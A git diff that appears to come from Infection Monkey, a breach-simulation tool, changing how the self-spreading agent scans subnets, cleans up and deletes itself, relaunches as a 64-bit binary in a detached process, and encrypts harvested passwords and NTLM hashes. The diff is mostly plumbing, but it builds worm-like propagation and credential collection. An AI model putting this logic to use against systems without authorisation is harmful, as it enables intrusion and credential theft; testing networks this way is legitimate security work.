return
|
||||||
|
|
||||||
|
if firewall.is_enabled():
|
||||||
|
firewall.add_firewall_rule()
|
||||||
|
|
||||||
monkey_tunnel = ControlClient.create_control_tunnel()
|
monkey_tunnel = ControlClient.create_control_tunnel()
|
||||||
if monkey_tunnel:
|
if monkey_tunnel:
|
||||||
monkey_tunnel.start()
|
monkey_tunnel.start()
|
||||||
|
@ -216,23 +230,31 @@ class InfectionMonkey(object):
|
||||||
LOG.info("Monkey cleanup started")
|
LOG.info("Monkey cleanup started")
|
||||||
self._keep_running = False
|
self._keep_running = False
|
||||||
|
|
||||||
# Signal the server (before closing the tunnel)
|
if self._upgrading_to_64:
|
||||||
ControlClient.send_telemetry("state", {'done': True})
|
InfectionMonkey.close_tunnel()
|
||||||
|
firewall.close()
|
||||||
|
else:
|
||||||
|
ControlClient.send_telemetry("state", {'done': True}) # Signal the server (before closing the tunnel)
|
||||||
|
InfectionMonkey.close_tunnel()
|
||||||
|
firewall.close()
|
||||||
|
if WormConfiguration.send_log_to_server:
|
||||||
|
self.send_log()
|
||||||
|
self._singleton.unlock()
|
||||||
|
|
||||||
# Close tunnel
|
InfectionMonkey.self_delete()
|
||||||
|
LOG.info("Monkey is shutting down")
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def close_tunnel():
|
||||||
tunnel_address = ControlClient.proxies.get('https', '').replace('https://', '').split(':')[0]
|
tunnel_address = ControlClient.proxies.get('https', '').replace('https://', '').split(':')[0]
|
||||||
if tunnel_address:
|
if tunnel_address:
|
||||||
LOG.info("Quitting tunnel %s", tunnel_address)
|
LOG.info("Quitting tunnel %s", tunnel_address)
|
||||||
tunnel.quit_tunnel(tunnel_address)
|
tunnel.quit_tunnel(tunnel_address)
|
||||||
|
|
||||||
firewall.close()
|
@staticmethod
|
||||||
|
def self_delete():
|
||||||
if WormConfiguration.send_log_to_server:
|
if WormConfiguration.self_delete_in_cleanup \
|
||||||
self.send_log()
|
and -1 == sys.executable.find('python'):
|
||||||
|
|
||||||
self._singleton.unlock()
|
|
||||||
|
|
||||||
if WormConfiguration.self_delete_in_cleanup and -1 == sys.executable.find('python'):
|
|
||||||
try:
|
try:
|
||||||
if "win32" == sys.platform:
|
if "win32" == sys.platform:
|
||||||
from _subprocess import SW_HIDE, STARTF_USESHOWWINDOW, CREATE_NEW_CONSOLE
|
from _subprocess import SW_HIDE, STARTF_USESHOWWINDOW, CREATE_NEW_CONSOLE
|
||||||
|
@ -247,8 +269,6 @@ class InfectionMonkey(object):
|
||||||
except Exception as exc:
|
except Exception as exc:
|
||||||
LOG.error("Exception in self delete: %s", exc)
|
LOG.error("Exception in self delete: %s", exc)
|
||||||
|
|
||||||
LOG.info("Monkey is shutting down")
|
|
||||||
|
|
||||||
def send_log(self):
|
def send_log(self):
|
||||||
monkey_log_path = utils.get_monkey_log_path()
|
monkey_log_path = utils.get_monkey_log_path()
|
||||||
if os.path.exists(monkey_log_path):
|
if os.path.exists(monkey_log_path):
|
||||||
|
|
|
@ -2,7 +2,7 @@
|
||||||
import os
|
import os
|
||||||
import platform
|
import platform
|
||||||
a = Analysis(['main.py'],
|
a = Analysis(['main.py'],
|
||||||
pathex=['.'],
|
pathex=['.', '..'],
|
||||||
hiddenimports=['_cffi_backend', 'queue'],
|
hiddenimports=['_cffi_backend', 'queue'],
|
||||||
hookspath=None,
|
hookspath=None,
|
||||||
runtime_hooks=None)
|
runtime_hooks=None)
|
||||||
|
|
|
@ -8,6 +8,7 @@ import itertools
|
||||||
import netifaces
|
import netifaces
|
||||||
from subprocess import check_output
|
from subprocess import check_output
|
||||||
from random import randint
|
from random import randint
|
||||||
|
from common.network.network_range import CidrRange
|
||||||
|
|
||||||
|
|
||||||
def get_host_subnets():
|
def get_host_subnets():
|
||||||
|
@ -129,7 +130,7 @@ def check_internet_access(services):
|
||||||
return False
|
return False
|
||||||
|
|
||||||
|
|
||||||
def get_ips_from_interfaces():
|
def get_interfaces_ranges():
|
||||||
"""
|
"""
|
||||||
Returns a list of IPs accessible in the host in each network interface, in the subnet.
|
Returns a list of IPs accessible in the host in each network interface, in the subnet.
|
||||||
Limits to a single class C if the network is larger
|
Limits to a single class C if the network is larger
|
||||||
|
@ -138,15 +139,11 @@ def get_ips_from_interfaces():
|
||||||
res = []
|
res = []
|
||||||
ifs = get_host_subnets()
|
ifs = get_host_subnets()
|
||||||
for net_interface in ifs:
|
for net_interface in ifs:
|
||||||
address_str = unicode(net_interface['addr'])
|
address_str = net_interface['addr']
|
||||||
netmask_str = unicode(net_interface['netmask'])
|
netmask_str = net_interface['netmask']
|
||||||
host_address = ipaddress.ip_address(address_str)
|
|
||||||
ip_interface = ipaddress.ip_interface(u"%s/%s" % (address_str, netmask_str))
|
ip_interface = ipaddress.ip_interface(u"%s/%s" % (address_str, netmask_str))
|
||||||
# limit subnet scans to class C only
|
# limit subnet scans to class C only
|
||||||
if ip_interface.network.num_addresses > 255:
|
res.append(CidrRange(cidr_range="%s/%s" % (address_str, netmask_str)))
|
||||||
ip_interface = ipaddress.ip_interface(u"%s/24" % address_str)
|
|
||||||
addrs = [str(addr) for addr in ip_interface.network.hosts() if addr != host_address]
|
|
||||||
res.extend(addrs)
|
|
||||||
return res
|
return res
|
||||||
|
|
||||||
|
|
||||||
|
|
|
@ -2,8 +2,9 @@ import logging
|
||||||
import time
|
import time
|
||||||
|
|
||||||
from config import WormConfiguration
|
from config import WormConfiguration
|
||||||
from info import local_ips, get_ips_from_interfaces
|
from info import local_ips, get_interfaces_ranges
|
||||||
from range import *
|
from common.network.network_range import *
|
||||||
|
from model import VictimHost
|
||||||
from . import HostScanner
|
from . import HostScanner
|
||||||
|
|
||||||
__author__ = 'itamar'
|
__author__ = 'itamar'
|
||||||
|
@ -20,9 +21,8 @@ class NetworkScanner(object):
|
||||||
|
|
||||||
def initialize(self):
|
def initialize(self):
|
||||||
"""
|
"""
|
||||||
Set up scanning based on configuration
|
Set up scanning.
|
||||||
FixedRange -> Reads from range_fixed field in configuration
|
based on configuration: scans local network and/or scans fixed list of IPs/subnets.
|
||||||
otherwise, takes a range from every IP address the current host has.
|
|
||||||
:return:
|
:return:
|
||||||
"""
|
"""
|
||||||
# get local ip addresses
|
# get local ip addresses
|
||||||
|
@ -33,13 +33,9 @@ class NetworkScanner(object):
|
||||||
|
|
||||||
LOG.info("Found local IP addresses of the machine: %r", self._ip_addresses)
|
LOG.info("Found local IP addresses of the machine: %r", self._ip_addresses)
|
||||||
# for fixed range, only scan once.
|
# for fixed range, only scan once.
|
||||||
if WormConfiguration.range_class is FixedRange:
|
self._ranges = [NetworkRange.get_range_obj(address_str=x) for x in WormConfiguration.subnet_scan_list]
|
||||||
self._ranges = [WormConfiguration.range_class(fixed_addresses=WormConfiguration.range_fixed)]
|
|
||||||
else:
|
|
||||||
self._ranges = [WormConfiguration.range_class(ip_address)
|
|
||||||
for ip_address in self._ip_addresses]
|
|
||||||
if WormConfiguration.local_network_scan:
|
if WormConfiguration.local_network_scan:
|
||||||
self._ranges += [FixedRange([ip_address for ip_address in get_ips_from_interfaces()])]
|
self._ranges += get_interfaces_ranges()
|
||||||
LOG.info("Base local networks to scan are: %r", self._ranges)
|
LOG.info("Base local networks to scan are: %r", self._ranges)
|
||||||
|
|
||||||
def get_victim_machines(self, scan_type, max_find=5, stop_callback=None):
|
def get_victim_machines(self, scan_type, max_find=5, stop_callback=None):
|
||||||
|
@ -50,7 +46,8 @@ class NetworkScanner(object):
|
||||||
|
|
||||||
for net_range in self._ranges:
|
for net_range in self._ranges:
|
||||||
LOG.debug("Scanning for potential victims in the network %r", net_range)
|
LOG.debug("Scanning for potential victims in the network %r", net_range)
|
||||||
for victim in net_range:
|
for ip_addr in net_range:
|
||||||
|
victim = VictimHost(ip_addr)
|
||||||
if stop_callback and stop_callback():
|
if stop_callback and stop_callback():
|
||||||
LOG.debug("Got stop signal")
|
LOG.debug("Got stop signal")
|
||||||
break
|
break
|
||||||
|
|
|
@ -1,82 +0,0 @@
|
||||||
import random
|
|
||||||
import socket
|
|
||||||
import struct
|
|
||||||
from abc import ABCMeta, abstractmethod
|
|
||||||
|
|
||||||
from model.host import VictimHost
|
|
||||||
|
|
||||||
__author__ = 'itamar'
|
|
||||||
|
|
||||||
|
|
||||||
class NetworkRange(object):
|
|
||||||
__metaclass__ = ABCMeta
|
|
||||||
|
|
||||||
def __init__(self, base_address, shuffle=True):
|
|
||||||
self._base_address = base_address
|
|
||||||
self._shuffle = shuffle
|
|
||||||
self._config = __import__('config').WormConfiguration
|
|
||||||
|
|
||||||
@abstractmethod
|
|
||||||
def _get_range(self):
|
|
||||||
raise NotImplementedError()
|
|
||||||
|
|
||||||
def __iter__(self):
|
|
||||||
base_range = self._get_range()
|
|
||||||
if self._shuffle:
|
|
||||||
random.shuffle(base_range)
|
|
||||||
|
|
||||||
for x in base_range:
|
|
||||||
yield VictimHost(socket.inet_ntoa(struct.pack(">L", self._base_address + x)))
|
|
||||||
|
|
||||||
|
|
||||||
class ClassCRange(NetworkRange):
|
|
||||||
def __init__(self, base_address, shuffle=True):
|
|
||||||
base_address = struct.unpack(">L", socket.inet_aton(base_address))[0] & 0xFFFFFF00
|
|
||||||
super(ClassCRange, self).__init__(base_address, shuffle=shuffle)
|
|
||||||
|
|
||||||
def __repr__(self):
|
|
||||||
return "<ClassCRange %s-%s>" % (socket.inet_ntoa(struct.pack(">L", self._base_address + 1)),
|
|
||||||
socket.inet_ntoa(struct.pack(">L", self._base_address + 254)))
|
|
||||||
|
|
||||||
def _get_range(self):
|
|
||||||
return range(1, 254)
|
|
||||||
|
|
||||||
|
|
||||||
class RelativeRange(NetworkRange):
|
|
||||||
def __init__(self, base_address, shuffle=True):
|
|
||||||
base_address = struct.unpack(">L", socket.inet_aton(base_address))[0]
|
|
||||||
super(RelativeRange, self).__init__(base_address, shuffle=shuffle)
|
|
||||||
self._size = 1
|
|
||||||
|
|
||||||
def __repr__(self):
|
|
||||||
return "<RelativeRange %s-%s>" % (socket.inet_ntoa(struct.pack(">L", self._base_address - self._size)),
|
|
||||||
socket.inet_ntoa(struct.pack(">L", self._base_address + self._size)))
|
|
||||||
|
|
||||||
def _get_range(self):
|
|
||||||
lower_end = -(self._size / 2)
|
|
||||||
higher_end = lower_end + self._size
|
|
||||||
return range(lower_end, higher_end + 1)
|
|
||||||
|
|
||||||
|
|
||||||
class FixedRange(NetworkRange):
|
|
||||||
def __init__(self, fixed_addresses=None, shuffle=True):
|
|
||||||
base_address = 0
|
|
||||||
super(FixedRange, self).__init__(base_address, shuffle=shuffle)
|
|
||||||
if not fixed_addresses:
|
|
||||||
self._fixed_addresses = self._config.range_fixed
|
|
||||||
else:
|
|
||||||
if type(fixed_addresses) is str:
|
|
||||||
self._fixed_addresses = [fixed_addresses]
|
|
||||||
else:
|
|
||||||
self._fixed_addresses = list(fixed_addresses)
|
|
||||||
|
|
||||||
def __repr__(self):
|
|
||||||
return "<FixedRange %s>" % (",".join(self._fixed_addresses))
|
|
||||||
|
|
||||||
def _get_range(self):
|
|
||||||
address_range = []
|
|
||||||
for address in self._fixed_addresses:
|
|
||||||
if not address: # Empty string
|
|
||||||
continue
|
|
||||||
address_range.append(struct.unpack(">L", socket.inet_aton(address.strip()))[0])
|
|
||||||
return address_range
|
|
|
@ -96,7 +96,7 @@ class AzureCollector(object):
|
||||||
except IOError:
|
except IOError:
|
||||||
LOG.warning("Failed to parse VM Access plugin file. Could not open file")
|
LOG.warning("Failed to parse VM Access plugin file. Could not open file")
|
||||||
return None
|
return None
|
||||||
except (KeyError, ValueError):
|
except (KeyError, ValueError, IndexError):
|
||||||
LOG.warning("Failed to parse VM Access plugin file. Invalid format")
|
LOG.warning("Failed to parse VM Access plugin file. Invalid format")
|
||||||
return None
|
return None
|
||||||
except subprocess.CalledProcessError:
|
except subprocess.CalledProcessError:
|
||||||
|
|
|
@ -1,5 +1,6 @@
|
||||||
import os
|
import os
|
||||||
import sys
|
import sys
|
||||||
|
import struct
|
||||||
|
|
||||||
from config import WormConfiguration
|
from config import WormConfiguration
|
||||||
|
|
||||||
|
@ -12,3 +13,19 @@ def get_monkey_log_path():
|
||||||
def get_dropper_log_path():
|
def get_dropper_log_path():
|
||||||
return os.path.expandvars(WormConfiguration.dropper_log_path_windows) if sys.platform == "win32" \
|
return os.path.expandvars(WormConfiguration.dropper_log_path_windows) if sys.platform == "win32" \
|
||||||
else WormConfiguration.dropper_log_path_linux
|
else WormConfiguration.dropper_log_path_linux
|
||||||
|
|
||||||
|
|
||||||
|
def is_64bit_windows_os():
|
||||||
|
'''
|
||||||
|
Checks for 64 bit Windows OS using environment variables.
|
||||||
|
:return:
|
||||||
|
'''
|
||||||
|
return 'PROGRAMFILES(X86)' in os.environ
|
||||||
|
|
||||||
|
|
||||||
|
def is_64bit_python():
|
||||||
|
return struct.calcsize("P") == 8
|
||||||
|
|
||||||
|
|
||||||
|
def is_windows_os():
|
||||||
|
return sys.platform.startswith("win")
|
||||||
|
|
|
@ -0,0 +1,58 @@
|
||||||
|
import logging
|
||||||
|
import subprocess
|
||||||
|
import sys
|
||||||
|
import shutil
|
||||||
|
|
||||||
|
import time
|
||||||
|
|
||||||
|
import monkeyfs
|
||||||
|
from config import WormConfiguration
|
||||||
|
from control import ControlClient
|
||||||
|
from exploit.tools import build_monkey_commandline_explicitly
|
||||||
|
from model import MONKEY_CMDLINE_WINDOWS
|
||||||
|
from utils import is_windows_os, is_64bit_windows_os, is_64bit_python
|
||||||
|
|
||||||
|
__author__ = 'itay.mizeretz'
|
||||||
|
|
||||||
|
LOG = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
if "win32" == sys.platform:
|
||||||
|
from win32process import DETACHED_PROCESS
|
||||||
|
else:
|
||||||
|
DETACHED_PROCESS = 0
|
||||||
|
|
||||||
|
|
||||||
|
class WindowsUpgrader(object):
|
||||||
|
__UPGRADE_WAIT_TIME__ = 3
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def should_upgrade():
|
||||||
|
return is_windows_os() and is_64bit_windows_os() \
|
||||||
|
and not is_64bit_python()
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def upgrade(opts):
|
||||||
|
try:
|
||||||
|
monkey_64_path = ControlClient.download_monkey_exe_by_os(True, False)
|
||||||
|
with monkeyfs.open(monkey_64_path, "rb") as downloaded_monkey_file:
|
||||||
|
with open(WormConfiguration.dropper_target_path_win_64, 'wb') as written_monkey_file:
|
||||||
|
shutil.copyfileobj(downloaded_monkey_file, written_monkey_file)
|
||||||
|
except (IOError, AttributeError):
|
||||||
|
LOG.error("Failed to download the Monkey to the target path.")
|
||||||
|
return
|
||||||
|
|
||||||
|
monkey_options = build_monkey_commandline_explicitly(opts.parent, opts.tunnel, opts.server, opts.depth)
|
||||||
|
|
||||||
|
monkey_cmdline = MONKEY_CMDLINE_WINDOWS % {
|
||||||
|
'monkey_path': WormConfiguration.dropper_target_path_win_64} + monkey_options
|
||||||
|
|
||||||
|
monkey_process = subprocess.Popen(monkey_cmdline, shell=True,
|
||||||
|
stdin=None, stdout=None, stderr=None,
|
||||||
|
close_fds=True, creationflags=DETACHED_PROCESS)
|
||||||
|
|
||||||
|
LOG.info("Executed 64bit monkey process (PID=%d) with command line: %s",
|
||||||
|
monkey_process.pid, monkey_cmdline)
|
||||||
|
|
||||||
|
time.sleep(WindowsUpgrader.__UPGRADE_WAIT_TIME__)
|
||||||
|
if monkey_process.poll() is not None:
|
||||||
|
LOG.error("Seems like monkey died too soon")
|
|
@ -15,7 +15,6 @@ __author__ = 'Barak'
|
||||||
|
|
||||||
class Root(flask_restful.Resource):
|
class Root(flask_restful.Resource):
|
||||||
|
|
||||||
@jwt_required()
|
|
||||||
def get(self, action=None):
|
def get(self, action=None):
|
||||||
if not action:
|
if not action:
|
||||||
action = request.args.get('action')
|
action = request.args.get('action')
|
||||||
|
@ -26,15 +25,19 @@ class Root(flask_restful.Resource):
|
||||||
return Root.reset_db()
|
return Root.reset_db()
|
||||||
elif action == "killall":
|
elif action == "killall":
|
||||||
return Root.kill_all()
|
return Root.kill_all()
|
||||||
|
elif action == "is-up":
|
||||||
|
return {'is-up': True}
|
||||||
else:
|
else:
|
||||||
return make_response(400, {'error': 'unknown action'})
|
return make_response(400, {'error': 'unknown action'})
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
|
@jwt_required()
|
||||||
def get_server_info():
|
def get_server_info():
|
||||||
return jsonify(ip_addresses=local_ip_addresses(), mongo=str(mongo.db),
|
return jsonify(ip_addresses=local_ip_addresses(), mongo=str(mongo.db),
|
||||||
completed_steps=Root.get_completed_steps())
|
completed_steps=Root.get_completed_steps())
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
|
@jwt_required()
|
||||||
def reset_db():
|
def reset_db():
|
||||||
# We can't drop system collections.
|
# We can't drop system collections.
|
||||||
[mongo.db[x].drop() for x in mongo.db.collection_names() if not x.startswith('system.')]
|
[mongo.db[x].drop() for x in mongo.db.collection_names() if not x.startswith('system.')]
|
||||||
|
@ -42,6 +45,7 @@ class Root(flask_restful.Resource):
|
||||||
return jsonify(status='OK')
|
return jsonify(status='OK')
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
|
@jwt_required()
|
||||||
def kill_all():
|
def kill_all():
|
||||||
mongo.db.monkey.update({'dead': False}, {'$set': {'config.alive': False, 'modifytime': datetime.now()}},
|
mongo.db.monkey.update({'dead': False}, {'$set': {'config.alive': False, 'modifytime': datetime.now()}},
|
||||||
upsert=False,
|
upsert=False,
|
||||||
|
@ -49,6 +53,7 @@ class Root(flask_restful.Resource):
|
||||||
return jsonify(status='OK')
|
return jsonify(status='OK')
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
|
@jwt_required()
|
||||||
def get_completed_steps():
|
def get_completed_steps():
|
||||||
is_any_exists = NodeService.is_any_monkey_exists()
|
is_any_exists = NodeService.is_any_monkey_exists()
|
||||||
infection_done = NodeService.is_monkey_finished_running()
|
infection_done = NodeService.is_monkey_finished_running()
|
||||||
|
|
|
@ -190,7 +190,8 @@ class Telemetry(flask_restful.Resource):
|
||||||
for user in creds:
|
for user in creds:
|
||||||
for field in ['password', 'lm_hash', 'ntlm_hash']:
|
for field in ['password', 'lm_hash', 'ntlm_hash']:
|
||||||
if field in creds[user]:
|
if field in creds[user]:
|
||||||
creds[user][field] = encryptor.enc(creds[user][field])
|
# this encoding is because we might run into passwords which are not pure ASCII
|
||||||
|
creds[user][field] = encryptor.enc(creds[user][field].encode('utf-8'))
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def add_system_info_creds_to_config(creds):
|
def add_system_info_creds_to_config(creds):
|
||||||
|
@ -210,7 +211,7 @@ class Telemetry(flask_restful.Resource):
|
||||||
for field in ['password', 'lm_hash', 'ntlm_hash']:
|
for field in ['password', 'lm_hash', 'ntlm_hash']:
|
||||||
credential = attempts[i][field]
|
credential = attempts[i][field]
|
||||||
if len(credential) > 0:
|
if len(credential) > 0:
|
||||||
attempts[i][field] = encryptor.enc(credential)
|
attempts[i][field] = encryptor.enc(credential.encode('utf-8'))
|
||||||
|
|
||||||
|
|
||||||
TELEM_PROCESS_DICT = \
|
TELEM_PROCESS_DICT = \
|
||||||
|
|
|
@ -202,32 +202,9 @@ SCHEMA = {
|
||||||
"Amount of hops allowed for the monkey to spread from the island. "
|
"Amount of hops allowed for the monkey to spread from the island. "
|
||||||
+ WARNING_SIGN
|
+ WARNING_SIGN
|
||||||
+ " Note that setting this value too high may result in the monkey propagating too far"
|
+ " Note that setting this value too high may result in the monkey propagating too far"
|
||||||
}
|
|
||||||
}
|
|
||||||
},
|
},
|
||||||
"network_range": {
|
"subnet_scan_list": {
|
||||||
"title": "Network range",
|
"title": "Scan IP/subnet list",
|
||||||
"type": "object",
|
|
||||||
"properties": {
|
|
||||||
"range_class": {
|
|
||||||
"title": "Range class",
|
|
||||||
"type": "string",
|
|
||||||
"default": "FixedRange",
|
|
||||||
"enum": [
|
|
||||||
"FixedRange",
|
|
||||||
"ClassCRange"
|
|
||||||
],
|
|
||||||
"enumNames": [
|
|
||||||
"Fixed Range",
|
|
||||||
"Class C Range"
|
|
||||||
],
|
|
||||||
"description":
|
|
||||||
"Determines which class to use to determine scan range."
|
|
||||||
" Fixed Range will scan only specific IPs listed under Fixed range IP list."
|
|
||||||
" Class C Range will scan machines in the Class C network the monkey's on."
|
|
||||||
},
|
|
||||||
"range_fixed": {
|
|
||||||
"title": "Fixed range IP list",
|
|
||||||
"type": "array",
|
"type": "array",
|
||||||
"uniqueItems": True,
|
"uniqueItems": True,
|
||||||
"items": {
|
"items": {
|
||||||
|
@ -236,8 +213,8 @@ SCHEMA = {
|
||||||
"default": [
|
"default": [
|
||||||
],
|
],
|
||||||
"description":
|
"description":
|
||||||
"List of IPs to include when using FixedRange"
|
"List of IPs/subnets the monkey should scan."
|
||||||
" (Only relevant for Fixed Range)"
|
" Examples: \"192.168.0.1\", \"192.168.0.5-192.168.0.20\", \"192.168.0.5/24\""
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -444,11 +421,19 @@ SCHEMA = {
|
||||||
"default": "/tmp/monkey",
|
"default": "/tmp/monkey",
|
||||||
"description": "Determines where should the dropper place the monkey on a Linux machine"
|
"description": "Determines where should the dropper place the monkey on a Linux machine"
|
||||||
},
|
},
|
||||||
"dropper_target_path": {
|
"dropper_target_path_win_32": {
|
||||||
"title": "Dropper target path on Windows",
|
"title": "Dropper target path on Windows (32bit)",
|
||||||
"type": "string",
|
"type": "string",
|
||||||
"default": "C:\\Windows\\monkey.exe",
|
"default": "C:\\Windows\\monkey32.exe",
|
||||||
"description": "Determines where should the dropper place the monkey on a Windows machine "
|
"description": "Determines where should the dropper place the monkey on a Windows machine "
|
||||||
|
"(32bit)"
|
||||||
|
},
|
||||||
|
"dropper_target_path_win_64": {
|
||||||
|
"title": "Dropper target path on Windows (64bit)",
|
||||||
|
"type": "string",
|
||||||
|
"default": "C:\\Windows\\monkey64.exe",
|
||||||
|
"description": "Determines where should the dropper place the monkey on a Windows machine "
|
||||||
|
"(64 bit)"
|
||||||
},
|
},
|
||||||
"dropper_try_move_first": {
|
"dropper_try_move_first": {
|
||||||
"title": "Try to move first",
|
"title": "Try to move first",
|
||||||
|
|
|
@ -349,10 +349,7 @@ class ReportService:
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def get_config_ips():
|
def get_config_ips():
|
||||||
if ConfigService.get_config_value(['basic_network', 'network_range', 'range_class'], True,
|
return ConfigService.get_config_value(['basic_network', 'general', 'subnet_scan_list'], True, True)
|
||||||
True) != 'FixedRange':
|
|
||||||
return []
|
|
||||||
return ConfigService.get_config_value(['basic_network', 'network_range', 'range_fixed'], True, True)
|
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def get_config_scan():
|
def get_config_scan():
|
||||||
|
|
File diff suppressed because it is too large
Load Diff
|
@ -42,18 +42,18 @@
|
||||||
"karma-chai": "^0.1.0",
|
"karma-chai": "^0.1.0",
|
||||||
"karma-coverage": "^1.0.0",
|
"karma-coverage": "^1.0.0",
|
||||||
"karma-mocha": "^1.0.0",
|
"karma-mocha": "^1.0.0",
|
||||||
"karma-mocha-reporter": "^2.2.4",
|
"karma-mocha-reporter": "^2.2.5",
|
||||||
"karma-phantomjs-launcher": "^1.0.0",
|
"karma-phantomjs-launcher": "^1.0.0",
|
||||||
"karma-sourcemap-loader": "^0.3.5",
|
"karma-sourcemap-loader": "^0.3.5",
|
||||||
"karma-webpack": "^1.7.0",
|
"karma-webpack": "^1.7.0",
|
||||||
"minimist": "^1.2.0",
|
"minimist": "^1.2.0",
|
||||||
"mocha": "^3.0.0",
|
"mocha": "^3.5.3",
|
||||||
"null-loader": "^0.1.1",
|
"null-loader": "^0.1.1",
|
||||||
"open": "0.0.5",
|
"open": "0.0.5",
|
||||||
"phantomjs-prebuilt": "^2.1.15",
|
"phantomjs-prebuilt": "^2.1.16",
|
||||||
"react-addons-test-utils": "^15.0.0",
|
"react-addons-test-utils": "^15.6.2",
|
||||||
"react-hot-loader": "^1.2.9",
|
"react-hot-loader": "^1.2.9",
|
||||||
"rimraf": "^2.4.3",
|
"rimraf": "^2.6.2",
|
||||||
"style-loader": "^0.13.2",
|
"style-loader": "^0.13.2",
|
||||||
"url-loader": "^0.5.9",
|
"url-loader": "^0.5.9",
|
||||||
"webpack": "^1.15.0",
|
"webpack": "^1.15.0",
|
||||||
|
@ -61,28 +61,29 @@
|
||||||
},
|
},
|
||||||
"dependencies": {
|
"dependencies": {
|
||||||
"bootstrap": "^3.3.7",
|
"bootstrap": "^3.3.7",
|
||||||
"core-js": "^2.5.1",
|
"core-js": "^2.5.5",
|
||||||
"downloadjs": "^1.4.7",
|
"downloadjs": "^1.4.7",
|
||||||
"fetch": "^1.1.0",
|
"fetch": "^1.1.0",
|
||||||
"js-file-download": "^0.4.1",
|
"js-file-download": "^0.4.1",
|
||||||
"json-loader": "^0.5.7",
|
"json-loader": "^0.5.7",
|
||||||
"jwt-decode": "^2.2.0",
|
"jwt-decode": "^2.2.0",
|
||||||
"moment": "^2.21.0",
|
"moment": "^2.22.1",
|
||||||
"normalize.css": "^4.0.0",
|
"normalize.css": "^4.0.0",
|
||||||
"prop-types": "^15.5.10",
|
"npm": "^5.8.0",
|
||||||
|
"prop-types": "^15.6.1",
|
||||||
"rc-progress": "^2.2.5",
|
"rc-progress": "^2.2.5",
|
||||||
"react": "^15.6.1",
|
"react": "^15.6.2",
|
||||||
"react-bootstrap": "^0.31.2",
|
"react-bootstrap": "^0.31.5",
|
||||||
"react-copy-to-clipboard": "^5.0.0",
|
"react-copy-to-clipboard": "^5.0.1",
|
||||||
"react-data-components": "^1.1.1",
|
"react-data-components": "^1.2.0",
|
||||||
"react-dimensions": "^1.3.0",
|
"react-dimensions": "^1.3.0",
|
||||||
"react-dom": "^15.6.1",
|
"react-dom": "^15.6.2",
|
||||||
"react-fa": "^4.2.0",
|
"react-fa": "^4.2.0",
|
||||||
"react-graph-vis": "^0.1.3",
|
"react-graph-vis": "^0.1.4",
|
||||||
"react-json-tree": "^0.10.9",
|
"react-json-tree": "^0.10.9",
|
||||||
"react-jsonschema-form": "^0.50.1",
|
"react-jsonschema-form": "^0.50.1",
|
||||||
"react-modal-dialog": "^4.0.7",
|
"react-modal-dialog": "^4.0.7",
|
||||||
"react-redux": "^5.0.6",
|
"react-redux": "^5.0.7",
|
||||||
"react-router-dom": "^4.2.2",
|
"react-router-dom": "^4.2.2",
|
||||||
"react-table": "^6.7.4",
|
"react-table": "^6.7.4",
|
||||||
"react-toggle": "^4.0.1",
|
"react-toggle": "^4.0.1",
|
||||||
|
|
Loading…
Reference in New Issue